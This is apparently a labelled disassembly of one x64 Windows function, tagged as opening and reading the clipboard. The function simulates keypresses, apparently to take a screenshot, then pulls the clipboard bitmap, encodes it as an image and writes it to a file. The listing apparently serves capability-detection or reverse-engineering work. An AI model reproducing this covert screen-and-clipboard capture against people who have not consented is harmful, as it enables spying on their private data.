Function at 0x1400cf330
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x140ce2080]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov r15, rcx
xor r12d, r12d
mov dword [rsp + 0x28], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, Ordinal_45
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
lea r8d, [r12 + 2]
mov cl, Ordinal_45
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
lea r8d, [r12 + 2]
mov cl, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_keybd_event]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
lea ecx, [r12 + 2]
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rsi, rax
call qword [sym.imp.USER32.dll_CloseClipboard]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x78], xmm0
mov r14d, r12d
mov qword [rbp - 0x68], r12
mov qword [rsp + 0x20], r12
lea r8, [rsp + 0x20]
lea edx, [r12 + 1]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
lea rax, vtable.ATL::CImage.0
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x60], 0xffffffff
mov qword [rsp + 0x68], r12
mov dword [rsp + 0x70], r12d
mov qword [rsp + 0x78], r12
call fcn.1400b5c70
mov rbx, rax
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [rbx + 0x30]
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
mov qword [rsp + 0x38], rsi
lea r8, [rbp + 0xd0]
lea edx, [r12 + 0x68]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_GetObjectW]
cmp eax, 0x68
jne 0x1400cf4d4
mov byte [rsp + 0x58], 1
mov ecx, dword [rbp + 0xf4]
mov dword [rsp + 0x48], ecx
mov r8d, dword [rbp + 0xf8]
mov eax, r8d
cdq
mov r9d, eax
xor r9d, edx
sub r9d, edx
mov dword [rsp + 0x4c], r9d
movzx eax, word [rbp + 0xfe]
mov dword [rsp + 0x54], eax
imul eax, ecx
add eax, 0x1f
cdq
and edx, 0x1f
add eax, edx
sar eax, 5
shl eax, 2
mov dword [rsp + 0x50], eax
mov r10, qword [rbp + 0xe8]
mov qword [rsp + 0x40], r10
test r8d, r8d
jle 0x1400cf502
lea ecx, [r9 - 1]
imul ecx, eax
movsxd rdx, ecx
add rdx, r10
mov qword [rsp + 0x40], rdx
neg eax
mov dword [rsp + 0x50], eax
jmp 0x1400cf502
mov byte [rsp + 0x58], 0
mov eax, dword [rbp + 0xd4]
mov dword [rsp + 0x48], eax
mov eax, dword [rbp + 0xd8]
mov dword [rsp + 0x4c], eax
movzx eax, word [rbp + 0xe2]
mov dword [rsp + 0x54], eax
mov dword [rsp + 0x50], r12d
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x5c], 0xffffffff
mov byte [rsp + 0x59], 0
mov rdx, qword [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.1400cece0
lea rdx, [rbp - 0x80]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.SHLWAPI.dll_IStream_Size]
mov edi, dword [rbp - 0x80]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.SHLWAPI.dll_IStream_Reset]
mov edx, edi
test edi, edi
je 0x1400cf54e
lea rcx, [rbp - 0x78]
call fcn.1400cfb80
mov r14, qword [rbp - 0x68]
mov rbx, qword [rbp - 0x78]
mov r8d, edi
lea rdx, [rbx + 0x10]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.SHLWAPI.dll_IStream_Read]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
lea rax, [0x140cc3ea0]
mov qword [rbp - 0x50], rax
lea rax, [0x140cc02a0]
mov qword [rbp - 0x40], rax
lea rcx, [rbp + 0x68]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x28], 1
xor r8d, r8d
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rbp + rcx - 0x54], edx
lea rax, [rbp - 0x38]
mov qword [rbp - 0x60], rax
lea rcx, [rbp - 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x38], rax
mov byte [rbp + 0x44], 0
mov byte [rbp + 0x39], 0
lea rcx, [rbp - 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x48], r12
mov rax, qword [0x1412b7a08]
mov qword [rbp + 0x3c], rax
mov qword [rbp + 0x30], r12
cmp qword [r15 + 0x18], 0x10
jb 0x1400cf61d
mov r15, qword [r15]
mov r8d, Ordinal_35
mov rdx, r15
lea rcx, [rbp - 0x38]
call fcn.1400344e0
xor r8d, r8d
test rax, rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
je 0x1400cf650
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1400cf65e
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov r8, qword [rbp - 0x70]
sub r8, rbx
lea rdx, [rbx + 0x10]
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x38]
call fcn.140034430
test rax, rax
jne 0x1400cf69d
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rdi, 0x989680
jne 0x1400cf6bb
imul rax, rax, 0x64
jmp 0x1400cf6d6
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
movabs rcx, 0x7ffffffffd9da5ff
cmp rax, rcx
jge 0x1400cf6ed
add rax, 0x2625a00
jmp 0x1400cf6f7
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x28]
call fcn.14000ccc0
nop
lea rcx, [rbp - 0x50]
call fcn.1400cf7d0
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400cf721
call qword [sym.imp.GDI32.dll_DeleteObject]
call fcn.1400b5c70
mov rdi, rax
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [rdi + 0x30], 1
jne 0x1400cf75e
lea rcx, [rdi + 8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400cf751
call qword [sym.imp.gdiplus.dll_GdiplusShutdown]
mov qword [rdi], r12
lea rcx, [rdi + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [rdi + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
test rbx, rbx
je 0x1400cf7a4
sub r14, rbx
mov rax, rbx
cmp r14, 0x1000
jb 0x1400cf799
add r14, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400cf799
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, r14
mov rcx, rbx
call fcn.140130b10
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.1401308a0
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret